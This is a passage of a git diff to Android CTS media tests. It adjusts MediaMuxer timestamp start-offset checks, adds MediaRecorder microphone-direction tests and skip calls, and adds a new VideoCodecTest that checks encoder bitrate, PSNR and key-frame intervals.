+            Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+            // Video starts at 0us.
+            startOffsetUsVect.add(0);
+            // Audio starts at 50000us.
+            startOffsetUsVect.add(50000);
+            cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works when video
+     * samples start later than audio.
+     */
+    public void testTimestampsStartOffsetVideo() throws Exception {
+        int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
+        String outputFilePath =
+                File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetVideo", ".mp4")
+                        .getAbsolutePath();
+        try {
+            Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+            // Video starts at 500000us.
+            startOffsetUsVect.add(500000);
+            // Audio starts at 0us.
+            startOffsetUsVect.add(0);
+            cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works when audio and video
+     * tracks start at non-zero start offset and audio samples start later than video.
+     */
+    public void testTimestampsStartOffsetVideoAudio() throws Exception {
+        int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
+        String outputFilePath =
+                File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetAudio", ".mp4")
+                        .getAbsolutePath();
+        try {
+            Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+            // Video starts at 250000us.
+            startOffsetUsVect.add(250000);
+            // Audio starts at 500000us.
+            startOffsetUsVect.add(500000);
+            cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing using MPEG4Writer works when audio and video
+     * tracks start at non-zero start offset and video samples start later than audio.
+     */
+    public void testTimestampsStartOffsetAudioVideo() throws Exception {
+        int sourceId = R.raw.video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz;
+        String outputFilePath =
+                File.createTempFile("MediaMuxerTest_testTimestampsStartOffsetVideo", ".mp4")
+                        .getAbsolutePath();
+        try {
+            Vector<Integer> startOffsetUsVect = new Vector<Integer>();
+            // Video starts at 500000us.
+            startOffsetUsVect.add(500000);
+            // Audio starts at 250000us.
+            startOffsetUsVect.add(250000);
+            cloneMediaWithSamplesDropAndStartOffsets(sourceId, outputFilePath,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
+            verifyTSWithSamplesDropAndStartOffset(
+                    sourceId, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
         } finally {
             new File(outputFilePath).delete();
         }
@@ -467,7 +570,8 @@
                 verifyLocationInFile(outputMediaFile);
             }
             // Verify timestamp of all samples.
-            verifyTimestampsWithSamplesDropSet(srcMedia, outputMediaFile, null, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    srcMedia, false /* no B frames */,outputMediaFile, null, null);
         } finally {
             new File(outputMediaFile).delete();
         }
@@ -781,7 +885,7 @@
                 if (trackIndex == 0) {
                     ++videoSampleCount;
                     if (VERBOSE) {
-                        Log.i(TAG, "videoSampleCount : " + videoSampleCount);
+                        Log.v(TAG, "videoSampleCount : " + videoSampleCount);
                     }
                     if (videoSampleCount <= muxAllTypeVideoFramesUntilIndex
                             || videoSampleCount == bFrameAfterPFrameIndex) {
@@ -959,10 +1063,15 @@
                 bufferInfo.presentationTimeUs = extractor.getSampleTime();
                 bufferInfo.flags = extractor.getSampleFlags();
                 int trackIndex = extractor.getSampleTrackIndex();
+                if (VERBOSE) {
+                    Log.v(TAG, "TrackIndex:" + trackIndex + " PresentationTimeUs:" +
+                                bufferInfo.presentationTimeUs + " Flags:" + bufferInfo.flags +
+                                " Size(bytes)" + bufferInfo.size);
+                }
                 if (trackIndex == videoTrackIndex) {
                     ++videoSampleCount;
                     if (VERBOSE) {
-                        Log.i(TAG, "videoSampleCount : " + videoSampleCount);
+                        Log.v(TAG, "videoSampleCount : " + videoSampleCount);
                     }
                     if (samplesDropSet == null || (!samplesDropSet.contains(videoSampleCount))) {
                         // Write video frame with start offset adjustment.
@@ -971,7 +1080,7 @@
                     }
                     else {
                         if (VERBOSE) {
-                            Log.i(TAG, "skipped this frame");
+                            Log.v(TAG, "skipped this frame");
                         }
                     }
                 } else {
@@ -1003,8 +1112,9 @@
      * Uses MediaExtractors and checks whether timestamps of all samples except in samplesDropSet
      *  and with start offsets adjustments for each track match.
      */
-    private void verifyTimestampsWithSamplesDropSet(int srcMediaId, String testMediaPath,
-            HashSet<Integer> samplesDropSet, Vector<Integer> startOffsetUsVect) throws IOException {
+    private void verifyTSWithSamplesDropAndStartOffset(int srcMediaId, boolean hasBframes,
+            String testMediaPath, HashSet<Integer> samplesDropSet,
+            Vector<Integer> startOffsetUsVect) throws IOException {
         AssetFileDescriptor srcFd = mResources.openRawResourceFd(srcMediaId);
         MediaExtractor extractorSrc = new MediaExtractor();
         extractorSrc.setDataSource(srcFd.getFileDescriptor(),
@@ -1014,8 +1124,19 @@
 
         int videoTrackIndex = -1;
         int videoStartOffsetUs = 0;
+        int minStartOffsetUs = Integer.MAX_VALUE;
         int trackCount = extractorSrc.getTrackCount();
 
+        // MPEG4Writer makes the start timestamp of an earliest track as zero and adjusts all
+        // other tracks' timestamp accordingly.
+        if (startOffsetUsVect != null) {
+            for (int startOffsetUs : startOffsetUsVect) {
+                minStartOffsetUs = Math.min(startOffsetUs, minStartOffsetUs);
+            }
+        } else {
+            minStartOffsetUs = 0;
+        }
+
         // Select video track.
         for (int i = 0; i < trackCount; i++) {
             MediaFormat format = extractorSrc.getTrackFormat(i);
@@ -1026,8 +1147,8 @@
                 }
                 extractorSrc.selectTrack(videoTrackIndex);
                 extractorTest.selectTrack(videoTrackIndex);
-                checkVideoSamplesTimeStamps(extractorSrc, extractorTest, samplesDropSet,
-                    videoStartOffsetUs);
+                checkVideoSamplesTimeStamps(extractorSrc, hasBframes, extractorTest, samplesDropSet,
+                        videoStartOffsetUs - minStartOffsetUs);
                 extractorSrc.unselectTrack(videoTrackIndex);
                 extractorTest.unselectTrack(videoTrackIndex);
             }
@@ -1046,7 +1167,8 @@
                 }
                 extractorSrc.selectTrack(audioTrackIndex);
                 extractorTest.selectTrack(audioTrackIndex);
-                checkAudioSamplesTimestamps(extractorSrc, extractorTest, audioStartOffsetUs);
+                checkAudioSamplesTimestamps(
+                        extractorSrc, extractorTest, audioStartOffsetUs - minStartOffsetUs);
             }
         }
 
@@ -1056,9 +1178,8 @@
     }
 
     // Check timestamps of all video samples.
-    private void checkVideoSamplesTimeStamps(MediaExtractor extractorSrc,
-                MediaExtractor extractorTest, HashSet<Integer> samplesDropSet,
-                int videoStartOffsetUs) {
+    private void checkVideoSamplesTimeStamps(MediaExtractor extractorSrc, boolean hasBFrames,
+            MediaExtractor extractorTest, HashSet<Integer> samplesDropSet, int videoStartOffsetUs) {
         long srcSampleTimeUs = -1;
         long testSampleTimeUs = -1;
         boolean srcAdvance = false;
@@ -1068,43 +1189,64 @@
         extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
         extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
 
+        if (VERBOSE) {
+            Log.v(TAG, "videoSampleCount:" + videoSampleCount);
+            Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+        }
+
         do {
             ++videoSampleCount;
             srcSampleTimeUs = extractorSrc.getSampleTime();
             testSampleTimeUs = extractorTest.getSampleTime();
             if (VERBOSE) {
-                Log.i(TAG, "videoSampleCount:" + videoSampleCount);
-                Log.i(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
-                            "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
                 Log.i(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
             }
             if (samplesDropSet == null || !samplesDropSet.contains(videoSampleCount)) {
                 if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
                   if (VERBOSE) {
-                    Log.d(TAG, "videoSampleCount:" + videoSampleCount);
-                    Log.d(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
+                      Log.v(TAG, "srcUs:" + srcSampleTimeUs + "testUs:" + testSampleTimeUs);
                   }
                   fail("either source or test track reached end of stream");
                 }
                 // Stts values within 0.1ms(100us) difference are fudged to save too many
                 // stts entries in MPEG4Writer.
-                else if (Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100) {
+                // If Bframes are not present, then we manage start offset of video track in the
+                // duration of the first video sample. Second sample onwards has original timestamp.
+                else if (!hasBFrames
+                        && ((videoSampleCount > 1
+                        && Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs) > 100)
+                        || (videoSampleCount == 1
+                        && Math.abs(srcSampleTimeUs - testSampleTimeUs) > 100))) {
                     if (VERBOSE) {
-                        Log.d(TAG, "Fail:video timestamps didn't match");
-                        Log.d(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
-                            "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
-                        Log.d(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
-                        Log.d(TAG, "videoSampleCount:" + videoSampleCount);
+                        Log.v(TAG, "Fail:video timestamps didn't match");
+                        Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                                    "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+                        Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
                     }
                     fail("video timestamps didn't match");
                 }
+                // If Bframes are present, then we manage start offsert of a video track in the
+                // corresponding edit list entry.
+                else if (hasBFrames
+                        && Math.abs(srcSampleTimeUs + videoStartOffsetUs - testSampleTimeUs)
+                        > 100) {
+                    if (VERBOSE) {
+                        Log.v(TAG, "Fail:video timestamps with B frames didn't match");
+                        Log.v(TAG,  "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                                    "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+                        Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+                    }
+                    fail("video timestamps with B frames didn't match");
+                }
+
                 testAdvance = extractorTest.advance();
             }
             srcAdvance = extractorSrc.advance();
         } while(srcAdvance && testAdvance);
         if (srcAdvance != testAdvance) {
             if (VERBOSE) {
-                Log.d(TAG, "videoSampleCount:" + videoSampleCount);
+                Log.v(TAG, "videoSampleCount:" + videoSampleCount);
             }
             fail("either video track has not reached its last sample");
         }
@@ -1120,28 +1262,29 @@
 
         extractorSrc.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
         extractorTest.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
-
+        if (VERBOSE) {
+            Log.v(TAG, "audioStartOffsetUs: " + audioStartOffsetUs);
+            Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
+                        "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+        }
         // Check timestamps of all audio samples.
         do {
             ++audioSampleCount;
             srcSampleTimeUs = extractorSrc.getSampleTime();
             testSampleTimeUs = extractorTest.getSampleTime();
             if(VERBOSE) {
-                Log.d(TAG, "audioSampleCount:" + audioSampleCount);
-                Log.v(TAG, "srcTrackIndex:" + extractorSrc.getSampleTrackIndex() +
-                            "  testTrackIndex:" + extractorTest.getSampleTrackIndex());
+                Log.v(TAG, "audioSampleCount:" + audioSampleCount);
                 Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
             }
 
             if (srcSampleTimeUs == -1 || testSampleTimeUs == -1) {
               if (VERBOSE) {
-                Log.d(TAG, "audioSampleCount:" + audioSampleCount);
-                Log.d(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
+                  Log.v(TAG, "srcTSus:" + srcSampleTimeUs + " testTSus:" + testSampleTimeUs);
               }
               fail("either source or test track reached end of stream");
             }
-            // First audio sample would have zero timestamp and its start offset is implemented
-            // by assigning the first audio sample's duration as the offset. Second sample onwards
+            // First audio sample would be at zero.  Audio track's start offset is implemented
+            // by assigning the first audio sample's duration as that of the offset. Second sample
             // would play after the offset.  But video offset is achieved by edit list entry for
             // video tracks with BFrames. Need to revert the conditional check for first
             // audio sample once we implement empty edit list entry for audio.
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index be33988..e2d4421 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -37,6 +37,7 @@
 import android.media.MediaRecorder;
 import android.media.MediaRecorder.OnErrorListener;
 import android.media.MediaRecorder.OnInfoListener;
+import android.media.MicrophoneDirection;
 import android.media.MicrophoneInfo;
 import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
 import android.opengl.GLES20;
@@ -231,6 +232,7 @@
         int height;
         Camera camera = null;
         if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
             return;
         }
         // Try to get camera profile for QUALITY_LOW; if unavailable,
@@ -543,6 +545,7 @@
 
     public void testRecorderVideo() throws Exception {
         if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
             return;
         }
         mCamera = Camera.open(0);
@@ -567,6 +570,7 @@
 
     public void testSetOutputFile() throws Exception {
         if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
             return;
         }
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
@@ -850,22 +854,22 @@
         return startTimeOffset + frameIndex * 1000000 / frameRate;
     }
 
-    private void testLevel(String mediaType, int width, int height, int framerate,
-            int bitrate, int profile, int requestedLevel, int... expectedLevels) throws Exception {
+    private int testLevel(String mediaType, int width, int height, int framerate, int bitrate,
+            int profile, int requestedLevel, int... expectedLevels) throws Exception {
         CodecCapabilities cap = getCapsForPreferredCodecForMediaType(mediaType);
         if (cap == null) { // not supported
-            return;
+            return 0;
         }
         MediaCodecInfo.VideoCapabilities vCap = cap.getVideoCapabilities();
         if (!vCap.areSizeAndRateSupported(width, height, framerate)
             || !vCap.getBitrateRange().contains(bitrate * 1000)) {
             Log.i(TAG, "Skip the test");
-            return;
+            return 0;
         }
 
         Surface surface = MediaCodec.createPersistentInputSurface();
         if (surface == null) {
-            return;
+            return 0;
         }
         InputSurface encSurface = new InputSurface(surface);
         mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
@@ -950,9 +954,11 @@
             encSurface.release();
             encSurface = null;
         }
+        return 1;
     }
 
     public void testProfileAvcBaselineLevel1() throws Exception {
+        int testsRun = 0;
         int profile = AVCProfileBaseline;
 
         if (!hasH264()) {
@@ -961,16 +967,18 @@
         }
 
         /*              W    H   fps kbps  profile  request level   expected levels */
-        testLevel(AVC, 176, 144, 15, 64,   profile,  AVCLevel1, AVCLevel1);
+        testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1, AVCLevel1);
         // Enable them when vendor fixes the failure
         //testLevel(AVC, 178, 144, 15, 64,   profile,  AVCLevel1, AVCLevel11);
         //testLevel(AVC, 178, 146, 15, 64,   profile,  AVCLevel1, AVCLevel11);
         //testLevel(AVC, 176, 144, 16, 64,   profile,  AVCLevel1, AVCLevel11);
         //testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel1, AVCLevel1b);
-        testLevel(AVC, 176, 144, 15, 64,   profile,  AVCLevel1b, AVCLevel1,
-                AVCLevel1b);
+        testsRun += testLevel(AVC, 176, 144, 15, 64, profile, AVCLevel1b, AVCLevel1, AVCLevel1b);
         // testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel2, AVCLevel1b,
         //        AVCLevel11, AVCLevel12, AVCLevel13, AVCLevel2);
+        if (testsRun == 0) {
+            MediaUtils.skipTest("VideoCapabilities or surface not found");
+        }
     }
 
 
@@ -1705,5 +1713,45 @@
         config.isClientSilenced();
     }
 
+    /*
+     * Microphone Direction API tests
+     */
+    public void testSetPreferredMicrophoneDirection() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean succecss =
+                    mMediaRecorder.setPreferredMicrophoneDirection(
+                            MicrophoneDirection.MIC_DIRECTION_TOWARDS_USER);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(succecss);
+        }  catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneDirection() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
+
+    public void testSetPreferredMicrophoneFieldDimension() {
+        if (!hasMicrophone()) {
+            return;
+        }
+
+        try {
+            boolean succecss = mMediaRecorder.setPreferredMicrophoneFieldDimension(1.0f);
+
+            // Can't actually test this as HAL may not have implemented it
+            // Just verify that it doesn't crash or throw an exception
+            // assertTrue(succecss);
+        }  catch (Exception ex) {
+            Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
+            assertTrue(false);
+        }
+        return;
+    }
 
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
index 6745fa4..574ef2e 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerConnectionTest.java
@@ -77,13 +77,10 @@
         mMediaScannerConnection.connect();
         checkConnectionState(true);
 
-        assertTrue(mMediaScannerConnection.mIsOnServiceConnectedCalled);
         mMediaScannerConnection.disconnect();
 
         checkConnectionState(false);
 
-        // FIXME: onServiceDisconnected is not called.
-        assertFalse(mMediaScannerConnection.mIsOnServiceDisconnectedCalled);
         mMediaScannerConnection.connect();
 
         checkConnectionState(true);
@@ -118,25 +115,9 @@
     }
 
     class MockMediaScannerConnection extends MediaScannerConnection {
-
-        public boolean mIsOnServiceConnectedCalled;
-        public boolean mIsOnServiceDisconnectedCalled;
         public MockMediaScannerConnection(Context context, MediaScannerConnectionClient client) {
             super(context, client);
         }
-
-        @Override
-        public void onServiceConnected(ComponentName className, IBinder service) {
-            super.onServiceConnected(className, service);
-            mIsOnServiceConnectedCalled = true;
-        }
-
-        @Override
-        public void onServiceDisconnected(ComponentName className) {
-            super.onServiceDisconnected(className);
-            mIsOnServiceDisconnectedCalled = true;
-            // this is not called.
-        }
     }
 
     class MockMediaScannerConnectionClient implements MediaScannerConnectionClient {
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolTest.java b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
index 2c56acd..c426a31 100644
--- a/tests/tests/media/src/android/media/cts/SoundPoolTest.java
+++ b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
@@ -39,9 +39,9 @@
 
     private static final int SOUNDPOOL_STREAMS = 4;
     private static final int PRIORITY = 1;
-    private static final int LOUD = 20;
-    private static final int QUIET = LOUD / 2;
-    private static final int SILENT = 0;
+    private static final float LOUD = 1.f;
+    private static final float QUIET = LOUD / 4.f;
+    private static final float SILENT = 0.f;
     private File mFile;
     private SoundPool mSoundPool;
 
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTest.java b/tests/tests/media/src/android/media/cts/VideoCodecTest.java
new file mode 100644
index 0000000..8aec3cc
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTest.java
@@ -0,0 +1,721 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.media.cts.R;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
+
+/**
+ * Verification test for video encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by video decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class VideoCodecTest extends VideoCodecTestBase {
+
+    private static final String ENCODED_IVF_BASE = "football";
+    private static final String INPUT_YUV = null;
+    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
+            ENCODED_IVF_BASE + "_out.yuv";
+
+    // YUV stream properties.
+    private static final int WIDTH = 320;
+    private static final int HEIGHT = 240;
+    private static final int FPS = 30;
+    // Default encoding bitrate.
+    private static final int BITRATE = 400000;
+    // List of bitrates used in quality and basic bitrate tests.
+    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
+    // Maximum allowed bitrate variation from the target value.
+    private static final double MAX_BITRATE_VARIATION = 0.2;
+    // Average PSNR values for reference Google Video codec for the above bitrates.
+    private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
+    // Minimum PSNR values for reference Google Video codec for the above bitrates.
+    private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
+    // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
+    private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
+    // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
+    private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
+    // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
+    // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
+    // buffer dequeue timeout.
+    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
+    // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
+    // comparing to the encoder running in a callee's thread.
+    private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
+    // Maximum allowed average key frame interval variation from the target value.
+    private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
+    // Maximum allowed key frame interval variation from the target value.
+    private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
+
+    /**
+     * A basic test for Video encoder.
+     *
+     * Encodes 9 seconds of raw stream with default configuration options,
+     * and then decodes it to verify the bitstream.
+     * Also checks the average bitrate is within MAX_BITRATE_VARIATION of the target value.
+     */
+    private void internalTestBasic(String codecMimeType, int bitRateMode) throws Exception {
+        int encodeSeconds = 9;
+        boolean skipped = true;
+
+        for (int targetBitrate : TEST_BITRATES_SET) {
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    bitRateMode,
+                    targetBitrate,
+                    true);
+            ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+            if (bufInfo == null) {
+                continue;
+            }
+            skipped = false;
+
+            VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+            /* Allow achieved bitrate to be smaller than target bitrate for
+             * VIDEO_ControlRateVariable mode */
+            if ((params.bitrateType == VIDEO_ControlRateConstant) ||
+                (statistics.mAverageBitrate > targetBitrate)) {
+                assertEquals("Stream bitrate " + statistics.mAverageBitrate +
+                    " is different from the target " + targetBitrate,
+                    targetBitrate, statistics.mAverageBitrate,
+                    MAX_BITRATE_VARIATION * targetBitrate);
+            }
+
+            decode(params.outputIvfFilename, null, codecMimeType, FPS, params.forceGoogleEncoder);
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
+        }
+    }
+
+    /**
+     * Asynchronous encoding test for Video encoder.
+     *
+     * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
+     * Checks the PSNR difference between the encoded and decoded output and reference yuv input
+     * does not change much for two different ways of the encoder call.
+     */
+    private void internalTestAsyncEncoding(String codecMimeType, int bitRateMode) throws Exception {
+        int encodeSeconds = 9;
+
+        // First test the encoder running in a looper thread with buffer callbacks enabled.
+        boolean syncEncoding = false;
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                BITRATE,
+                syncEncoding);
+        ArrayList<MediaCodec.BufferInfo> bufInfos = encodeAsync(params);
+        if (bufInfos == null) {
+            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+            return;
+        }
+        computeEncodingStatistics(bufInfos);
+        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+        VideoDecodingStatistics statisticsAsync = computeDecodingStatistics(
+                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                params.frameWidth, params.frameHeight);
+
+
+        // Test the encoder running in a callee's thread.
+        syncEncoding = true;
+        params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                BITRATE,
+                syncEncoding);
+        bufInfos = encode(params);
+        if (bufInfos == null) {
+            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+            return;
+        }
+        computeEncodingStatistics(bufInfos);
+        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, params.forceGoogleEncoder);
+        VideoDecodingStatistics statisticsSync = computeDecodingStatistics(
+                params.inputYuvFilename, R.raw.football_qvga, OUTPUT_YUV,
+                params.frameWidth, params.frameHeight);
+
+        // Check PSNR difference.
+        Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
+                ". Sync: " + statisticsSync.mAveragePSNR);
+        Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
+                ". Sync: " + statisticsSync.mMinimumPSNR);
+        if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
+            MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
+            (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
+            MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
+            throw new RuntimeException("Difference between PSNRs for async and sync encoders");
+        }
+    }
+
+    /**
+     * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
+     *
+     * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
+     * The test does not verify the output stream.
+     */
+    private void internalTestSyncFrame(
+            String codecMimeType, int bitRateMode, boolean useNdk) throws Exception {
+        int encodeSeconds = 9;
+
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                BITRATE,
+                true);
+        params.syncFrameInterval = encodeSeconds * FPS;
+        params.syncForceFrameInterval = FPS;
+        params.useNdk = useNdk;
+        ArrayList<MediaCodec.BufferInfo> bufInfo = encode(params);
+        if (bufInfo == null) {
+            Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
+            return;
+        }
+
+        VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+        // First check if we got expected number of key frames.
+        int actualKeyFrames = statistics.mKeyFrames.size();
+        if (actualKeyFrames != encodeSeconds) {
+            throw new RuntimeException("Number of key frames " + actualKeyFrames +
+                    " is different from the expected " + encodeSeconds);
+        }
+
+        // Check key frame intervals:
+        // Average value should be within +/- 1 frame of the target value,
+        // maximum value should not be greater than target value + 3,
+        // and minimum value should not be less that target value - 3.
+        if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
+            MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
+            (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
+            (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
+            throw new RuntimeException(
+                    "Key frame intervals are different from the expected " + FPS);
+        }
+    }
+
+    /**
+     * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
+     *
+     * Run the the encoder for 12 seconds. Request changes to the
